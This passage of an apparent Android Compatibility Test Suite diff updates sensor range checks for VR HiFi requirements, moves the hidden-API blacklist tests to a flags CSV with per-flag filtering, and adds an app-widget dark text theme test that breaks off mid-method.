                 MAGNETOMETER_MAX_RANGE,
                 MAGNETOMETER_MAX_FREQUENCY,
                 MAGNETOMETER_HIFI_MAX_RANGE,
@@ -126,7 +128,7 @@
 
     public void testPressureRange() {
         checkSensorRangeAndFrequency(
-                mSensorManager.getDefaultSensor(Sensor.TYPE_PRESSURE),
+                Sensor.TYPE_PRESSURE,
                 PRESSURE_MAX_RANGE,
                 PRESSURE_MAX_FREQUENCY,
                 PRESSURE_HIFI_MAX_RANGE,
@@ -135,11 +137,28 @@
     }
 
     private void checkSensorRangeAndFrequency(
-            Sensor sensor, double maxRange, double maxFrequency, double hifiMaxRange,
+            int sensorType, double maxRange, double maxFrequency, double hifiMaxRange,
             double hifiMinFrequency, double hifiMaxFrequency) {
+        boolean mustMeetHiFi = mHasHifiSensors;
 
-        double range = mHasHifiSensors ? hifiMaxRange : maxRange;
-        double frequency = mHasHifiSensors ? hifiMaxFrequency : maxFrequency;
+        // CDD 7.9.2/C-1-21: High Performance VR must meet accel, gyro, and mag HiFi requirements
+        if (mVrModeHighPerformance && (sensorType == Sensor.TYPE_ACCELEROMETER ||
+                sensorType == Sensor.TYPE_GYROSCOPE || sensorType == Sensor.TYPE_MAGNETIC_FIELD)) {
+            mustMeetHiFi = true;
+        }
+
+        Sensor sensor = mSensorManager.getDefaultSensor(sensorType);
+        if (sensor == null) {
+            if (mustMeetHiFi) {
+                fail(String.format("Must support sensor type %d", sensorType));
+            } else {
+                // Sensor is not required
+                return;
+            }
+        }
+
+        double range = mustMeetHiFi ? hifiMaxRange : maxRange;
+        double frequency = mustMeetHiFi ? hifiMaxFrequency : maxFrequency;
 
         assertTrue(String.format("%s Range actual=%.2f expected=%.2f %s",
                     sensor.getName(), sensor.getMaximumRange(), range,
@@ -152,7 +171,7 @@
                     sensor.getName(), actualMaxFrequency, frequency), actualMaxFrequency >=
                 frequency - 0.1);
 
-        if (mHasHifiSensors) {
+        if (mustMeetHiFi) {
             double actualMinFrequency = SensorCtsHelper.getFrequency(sensor.getMaxDelay(),
                     TimeUnit.MICROSECONDS);
             assertTrue(String.format("%s Min Frequency actual=%.2f expected=%.2fHz",
diff --git a/tests/signature/api-check/Android.mk b/tests/signature/api-check/Android.mk
index 7828933..08afe97 100644
--- a/tests/signature/api-check/Android.mk
+++ b/tests/signature/api-check/Android.mk
@@ -39,22 +39,13 @@
 # ===================================
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := cts-hidden-api-blacklist
-LOCAL_MODULE_STEM := blacklist.api
+LOCAL_MODULE := cts-hiddenapi-flags
+LOCAL_MODULE_STEM := hiddenapi_flags.csv
 LOCAL_MODULE_CLASS := ETC
 LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 include $(BUILD_SYSTEM)/base_rules.mk
-$(eval $(call copy-one-file,$(INTERNAL_PLATFORM_HIDDENAPI_BLACKLIST),$(LOCAL_BUILT_MODULE)))
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := cts-hidden-api-dark-greylist
-LOCAL_MODULE_STEM := dark_greylist.api
-LOCAL_MODULE_CLASS := ETC
-LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-include $(BUILD_SYSTEM)/base_rules.mk
-$(eval $(call copy-one-file,$(INTERNAL_PLATFORM_HIDDENAPI_DARK_GREYLIST),$(LOCAL_BUILT_MODULE)))
+$(eval $(call copy-one-file,$(INTERNAL_PLATFORM_HIDDENAPI_FLAGS),$(LOCAL_BUILT_MODULE)))
 
 
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk b/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk
index 58bf17d..59f7d6f2 100644
--- a/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk
+++ b/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk
@@ -17,6 +17,6 @@
 include $(CLEAR_VARS)
 LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistApi27TestCases
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SIGNATURE_API_FILES := blacklist.api
+LOCAL_SIGNATURE_API_FILES := hiddenapi_flags.csv
 LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
 include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
index bfa5fc6..bf13b5a 100644
--- a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
@@ -21,7 +21,7 @@
         <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="blacklist.api->/data/local/tmp/signature-test/blacklist.api" />
+        <option name="push" value="hiddenapi_flags.csv->/data/local/tmp/signature-test/hiddenapi_flags.csv" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
@@ -31,7 +31,8 @@
         <option name="package" value="android.signature.cts.api.hiddenapi_blacklist_api_27" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.HiddenApiTest" />
-        <option name="instrumentation-arg" key="hidden-api-files" value="blacklist.api" />
+        <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi_flags.csv" />
+        <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-28/Android.mk b/tests/signature/api-check/hidden-api-blacklist-28/Android.mk
new file mode 100644
index 0000000..f1cd2f3
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-28/Android.mk
@@ -0,0 +1,22 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistApi28TestCases
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_SIGNATURE_API_FILES := hiddenapi_flags.csv
+LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-28/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blacklist-28/AndroidManifest.xml
new file mode 100644
index 0000000..51b986e
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-28/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.signature.cts.api.hiddenapi_blacklist_api_28">
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-sdk android:targetSdkVersion="28" />
+
+    <application/>
+
+    <instrumentation
+        android:name="repackaged.android.test.InstrumentationTestRunner"
+        android:targetPackage="android.signature.cts.api.hiddenapi_blacklist_api_28"
+        android:label="Hidden API Blacklist Test for SDK level 28"/>
+</manifest>
diff --git a/tests/signature/api-check/hidden-api-blacklist-28/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-28/AndroidTest.xml
new file mode 100644
index 0000000..011a565
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-28/AndroidTest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Hidden API Signature test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="hiddenapi_flags.csv->/data/local/tmp/signature-test/hiddenapi_flags.csv" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsHiddenApiBlacklistApi28TestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.signature.cts.api.hiddenapi_blacklist_api_28" />
+        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="class" value="android.signature.cts.api.HiddenApiTest" />
+        <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi_flags.csv" />
+        <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o" />
+        <option name="runtime-hint" value="30s" />
+    </test>
+</configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk b/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk
index e518f14..bfd890b 100644
--- a/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk
+++ b/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk
@@ -17,6 +17,6 @@
 include $(CLEAR_VARS)
 LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistCurrentApiTestCases
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SIGNATURE_API_FILES := blacklist.api dark_greylist.api
+LOCAL_SIGNATURE_API_FILES := hiddenapi_flags.csv
 LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
 include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
index dfcd0d9..ab5e735 100644
--- a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
@@ -21,8 +21,7 @@
         <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="blacklist.api->/data/local/tmp/signature-test/blacklist.api" />
-        <option name="push" value="dark_greylist.api->/data/local/tmp/signature-test/dark_greylist.api" />
+        <option name="push" value="hiddenapi_flags.csv->/data/local/tmp/signature-test/hiddenapi_flags.csv" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
@@ -32,7 +31,8 @@
         <option name="package" value="android.signature.cts.api.hiddenapi_blacklist_current" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.HiddenApiTest" />
-        <option name="instrumentation-arg" key="hidden-api-files" value="blacklist.api,dark_greylist.api" />
+        <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi_flags.csv" />
+        <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o,greylist-max-p" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk b/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk
index 7f6d5b6..9048d8e 100644
--- a/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk
@@ -17,6 +17,6 @@
 include $(CLEAR_VARS)
 LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistDebugClassTestCases
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SIGNATURE_API_FILES := blacklist.api dark_greylist.api
+LOCAL_SIGNATURE_API_FILES := hiddenapi_flags.csv
 LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
 include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
index e58c362..090d69b 100644
--- a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
@@ -21,8 +21,7 @@
         <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="blacklist.api->/data/local/tmp/signature-test/blacklist.api" />
-        <option name="push" value="dark_greylist.api->/data/local/tmp/signature-test/dark_greylist.api" />
+        <option name="push" value="hiddenapi_flags.csv->/data/local/tmp/signature-test/hiddenapi_flags.csv" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
@@ -32,7 +31,8 @@
         <option name="package" value="android.signature.cts.api.hiddenapi_blacklist_debug_class" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.DebugClassHiddenApiTest" />
-        <option name="instrumentation-arg" key="hidden-api-files" value="blacklist.api,dark_greylist.api" />
+        <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi_flags.csv" />
+        <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o,greylist-max-p" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
index 17a5b78..3d31aa7 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
@@ -18,7 +18,6 @@
 
 import android.os.Bundle;
 import android.provider.Settings;
-import android.signature.cts.DexApiDocumentParser;
 import android.signature.cts.DexField;
 import android.signature.cts.DexMember;
 import android.signature.cts.DexMemberChecker;
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/BootClassPathClassesProvider.java b/tests/signature/api-check/src/java/android/signature/cts/api/BootClassPathClassesProvider.java
index 61511c3..d1f019b 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/BootClassPathClassesProvider.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/BootClassPathClassesProvider.java
@@ -67,11 +67,11 @@
         String klass_desc = "L" + klass.getName().replace('.', '/') + ";";
         DexMember[] members = new DexMember[field_infos[0].length + method_infos[0].length];
         for (int i = 0; i < field_infos[0].length; i++) {
-            members[i] = new DexField(klass_desc, field_infos[0][i], field_infos[1][i]);
+            members[i] = new DexField(klass_desc, field_infos[0][i], field_infos[1][i], null);
         }
         for (int i = 0; i < method_infos[0].length; i++) {
             members[i + field_infos[0].length] =
-                new DexMethod(klass_desc, method_infos[0][i], method_infos[1][i]);
+                new DexMethod(klass_desc, method_infos[0][i], method_infos[1][i], null);
         }
         return Arrays.stream(members);
     }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index ba8e8c5..3f4626c 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -42,11 +42,13 @@
  */
 public class HiddenApiTest extends AbstractApiTest {
 
-    private String[] hiddenApiFiles;
+    private String[] hiddenapiFiles;
+    private String[] hiddenapiTestFlags;
 
     @Override
     protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
-        hiddenApiFiles = getCommaSeparatedList(instrumentationArgs, "hidden-api-files");
+        hiddenapiFiles = getCommaSeparatedList(instrumentationArgs, "hiddenapi-files");
+        hiddenapiTestFlags = getCommaSeparatedList(instrumentationArgs, "hiddenapi-test-flags");
     }
 
     @Override
@@ -108,8 +110,10 @@
                     }
                 }
             };
-            parseDexApiFilesAsStream(hiddenApiFiles).forEach(dexMember -> {
-                DexMemberChecker.checkSingleMember(dexMember, observer);
+            parseDexApiFilesAsStream(hiddenapiFiles).forEach(dexMember -> {
+                if (shouldTestMember(dexMember)) {
+                    DexMemberChecker.checkSingleMember(dexMember, observer);
+                }
             });
         });
     }
@@ -122,4 +126,15 @@
                 .flatMap(stream -> dexApiDocumentParser.parseAsStream(stream));
     }
 
+    private boolean shouldTestMember(DexMember member) {
+        for (String testFlag : hiddenapiTestFlags) {
+            for (String memberFlag : member.getHiddenapiFlags()) {
+                if (testFlag.equals(memberFlag)) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
 }
diff --git a/tests/signature/runSignatureTests.sh b/tests/signature/runSignatureTests.sh
index f8ec3d1..fead7c7 100755
--- a/tests/signature/runSignatureTests.sh
+++ b/tests/signature/runSignatureTests.sh
@@ -27,6 +27,7 @@
 
 CtsHiddenApiBlacklistCurrentApiTestCases
 CtsHiddenApiBlacklistApi27TestCases
+CtsHiddenApiBlacklistApi28TestCases
 CtsHiddenApiBlacklistDebugClassTestCases
 
 CtsHiddenApiKillswitchWildcardTestCases
diff --git a/tests/signature/src/android/signature/cts/DexApiDocumentParser.java b/tests/signature/src/android/signature/cts/DexApiDocumentParser.java
index 58be322..9ea8048 100644
--- a/tests/signature/src/android/signature/cts/DexApiDocumentParser.java
+++ b/tests/signature/src/android/signature/cts/DexApiDocumentParser.java
@@ -19,6 +19,7 @@
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
+import java.util.Arrays;
 import java.util.Spliterator;
 import java.util.function.Consumer;
 import java.util.regex.Matcher;
@@ -109,9 +110,14 @@
                 // Increment the line number.
                 mLineNum = mLineNum + 1;
 
+                // Split the CSV line.
+                String[] splitLine = line.split(",");
+                String signature = splitLine[0];
+                String[] flags = Arrays.copyOfRange(splitLine, 1, splitLine.length);
+
                 // Match line against regex patterns.
-                Matcher matchField = REGEX_FIELD.matcher(line);
-                Matcher matchMethod = REGEX_METHOD.matcher(line);
+                Matcher matchField = REGEX_FIELD.matcher(signature);
+                Matcher matchMethod = REGEX_METHOD.matcher(signature);
 
                 // Check that *exactly* one pattern matches.
                 int matchCount = (matchField.matches() ? 1 : 0) + (matchMethod.matches() ? 1 : 0);
@@ -121,13 +127,13 @@
                     throw new ParseException("Ambiguous parse: \"" + line + "\"", mLineNum);
                 }
 
-                // Extract information from the line.
+                // Extract information from the signature.
                 if (matchField.matches()) {
                     return new DexField(
-                            matchField.group(1), matchField.group(2), matchField.group(3));
+                            matchField.group(1), matchField.group(2), matchField.group(3), flags);
                 } else if (matchMethod.matches()) {
                     return new DexMethod(
-                            matchMethod.group(1),matchMethod.group(2), matchMethod.group(3));
+                            matchMethod.group(1),matchMethod.group(2), matchMethod.group(3), flags);
                 } else {
                     throw new IllegalStateException();
                 }
diff --git a/tests/signature/src/android/signature/cts/DexField.java b/tests/signature/src/android/signature/cts/DexField.java
index 57f6196..5562e98 100644
--- a/tests/signature/src/android/signature/cts/DexField.java
+++ b/tests/signature/src/android/signature/cts/DexField.java
@@ -16,8 +16,8 @@
 package android.signature.cts;
 
 public class DexField extends DexMember {
-  public DexField(String className, String name, String type) {
-      super(className, name, type);
+  public DexField(String className, String name, String type, String[] flags) {
+      super(className, name, type, flags);
   }
 
   @Override
diff --git a/tests/signature/src/android/signature/cts/DexMember.java b/tests/signature/src/android/signature/cts/DexMember.java
index 930f92b..a3898ec 100644
--- a/tests/signature/src/android/signature/cts/DexMember.java
+++ b/tests/signature/src/android/signature/cts/DexMember.java
@@ -22,11 +22,13 @@
     private final String mName;
     private final String mClassDescriptor;
     private final String mType;
+    private final String[] mFlags;
 
-    protected DexMember(String className, String name, String type) {
+    protected DexMember(String className, String name, String type, String[] flags) {
         mName = name;
         mClassDescriptor = className;
         mType = type;
+        mFlags = flags;
     }
 
     public String getName() {
@@ -49,6 +51,10 @@
         return dexToJavaType(mType);
     }
 
+    public String[] getHiddenapiFlags() {
+        return mFlags;
+    }
+
     /**
      * Converts `type` to a Java type.
      */
diff --git a/tests/signature/src/android/signature/cts/DexMethod.java b/tests/signature/src/android/signature/cts/DexMethod.java
index ad21c7a..9f209fe 100644
--- a/tests/signature/src/android/signature/cts/DexMethod.java
+++ b/tests/signature/src/android/signature/cts/DexMethod.java
@@ -24,8 +24,8 @@
 public class DexMethod extends DexMember {
   private final List<String> mParamTypeList;
 
-  public DexMethod(String className, String name, String signature) {
-      super(className, name, parseDexReturnType(signature));
+  public DexMethod(String className, String name, String signature, String[] flags) {
+      super(className, name, parseDexReturnType(signature), flags);
       mParamTypeList = parseDexTypeList(signature);
   }
 
diff --git a/tests/tests/appwidget/res/layout/simple_black_layout.xml b/tests/tests/appwidget/res/layout/simple_black_layout.xml
new file mode 100644
index 0000000..f1adbe9
--- /dev/null
+++ b/tests/tests/appwidget/res/layout/simple_black_layout.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<TextView
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:background="#FF000000"
+    android:id="@+id/hello" />
diff --git a/tests/tests/appwidget/res/layout/simple_white_layout.xml b/tests/tests/appwidget/res/layout/simple_white_layout.xml
new file mode 100644
index 0000000..314fd30
--- /dev/null
+++ b/tests/tests/appwidget/res/layout/simple_white_layout.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<TextView
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:background="#FFFFFFFF"
+    android:id="@+id/hello" />
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/DarkTextThemeTest.java b/tests/tests/appwidget/src/android/appwidget/cts/DarkTextThemeTest.java
new file mode 100644
index 0000000..924f272
--- /dev/null
+++ b/tests/tests/appwidget/src/android/appwidget/cts/DarkTextThemeTest.java
@@ -0,0 +1,293 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.appwidget.cts;
+
+import static android.view.View.FIND_VIEWS_WITH_TEXT;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+
+import android.appwidget.AppWidgetHost;
+import android.appwidget.AppWidgetHostView;
+import android.appwidget.AppWidgetManager;
+import android.appwidget.AppWidgetProviderInfo;
+import android.appwidget.cts.activity.EmptyActivity;
+import android.appwidget.cts.service.MyAppWidgetService;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Color;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.net.Uri;
+import android.platform.test.annotations.AppModeFull;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.ArrayMap;
+import android.view.View;
+import android.view.ViewTreeObserver.OnGlobalLayoutListener;
+import android.widget.ListView;
+import android.widget.RemoteViews;
+import android.widget.RemoteViewsService;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.function.Predicate;
+
+/**
+ * Test AppWidgets dark text theme
+ */
+@LargeTest
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class DarkTextThemeTest extends AppWidgetTestCase {
+
+    @Rule
+    public ActivityTestRule<EmptyActivity> mActivityRule =
+            new ActivityTestRule<>(EmptyActivity.class);
+
+    private boolean mHasAppWidgets;
+
+    private EmptyActivity mActivity;
+
+    private AppWidgetHost mAppWidgetHost;
+
+    private MyHostView mAppWidgetHostView;
+    private int mAppWidgetId;
+
+    @Before
+    public void setup() throws Throwable {
+        mHasAppWidgets = hasAppWidgets();
+        if (!mHasAppWidgets) {
+            return;
+        }
+        // We want to bind widgets - run a shell command to grant bind permission to our
+        // package.
+        grantBindAppWidgetPermission();
+
+        mActivity = mActivityRule.getActivity();
+        mActivityRule.runOnUiThread(this::bindNewWidget);
+    }
+
+    @After
+    public void teardown() throws Exception {
+        if (!mHasAppWidgets) {
+            return;
+        }
+        mAppWidgetHost.deleteHost();
+        revokeBindAppWidgetPermission();
+    }
+
+    private void bindNewWidget() {
+        mAppWidgetHost = new AppWidgetHost(mActivity, 0) {
+            @Override
+            protected AppWidgetHostView onCreateView(Context context, int appWidgetId,
+                    AppWidgetProviderInfo appWidget) {
+                return new MyHostView(context);
+            }
+        };
+        mAppWidgetHost.deleteHost();
+        mAppWidgetHost.startListening();
+
+        // Allocate a widget id to bind
+        mAppWidgetId = mAppWidgetHost.allocateAppWidgetId();
+
+        // Bind the app widget
+        final AppWidgetProviderInfo providerInfo = getProviderInfo(getFirstWidgetComponent());
+        boolean isBinding = getAppWidgetManager().bindAppWidgetIdIfAllowed(mAppWidgetId,
+                providerInfo.getProfile(), providerInfo.provider, null);
+        assertTrue(isBinding);
+
+        // Create host view
+        mAppWidgetHostView = (MyHostView) mAppWidgetHost
+                .createView(mActivity, mAppWidgetId, providerInfo);
+        mActivity.setContentView(mAppWidgetHostView);
+    }
+
+    @Test
+    public void testWidget_light() throws Throwable {
+        if (!mHasAppWidgets) {
+            return;
+        }
+        // Push update
+        RemoteViews views = getViewsForResponse();
+        getAppWidgetManager().updateAppWidget(new int[] {mAppWidgetId}, views);
+
+        // Await until update
+        CountDownLatch updateLatch = new CountDownLatch(1);
+        mAppWidgetHostView.mCommands.put(
+                (v) -> v.findViewById(R.id.hello) != null, updateLatch::countDown);
+        updateLatch.await();
+
+        // Perform click
+        verifyColor(mAppWidgetHostView, Color.WHITE);
+    }
+
+    @Test
+    public void testWidget_dark() throws Throwable {
+        if (!mHasAppWidgets) {
+            return;
+        }
+        mActivity.runOnUiThread(() -> mAppWidgetHostView.setOnLightBackground(true));
+
+        // Push update
+        RemoteViews views = getViewsForResponse();
+        getAppWidgetManager().updateAppWidget(new int[] {mAppWidgetId}, views);
+
+        // Await until update
+        CountDownLatch updateLatch = new CountDownLatch(1);
+        mAppWidgetHostView.mCommands.put(
+                (v) -> v.findViewById(R.id.hello) != null, updateLatch::countDown);
+        updateLatch.await();
+
+        // Perform click
+        verifyColor(mAppWidgetHostView, Color.BLACK);
+    }
+
+    @Test
+    public void testCollection_light() throws Throwable {
+        if (!mHasAppWidgets) {
+            return;
+        }
+
+        setupAndAwaitCollectionWidget();
+
+        // Perform click on various elements
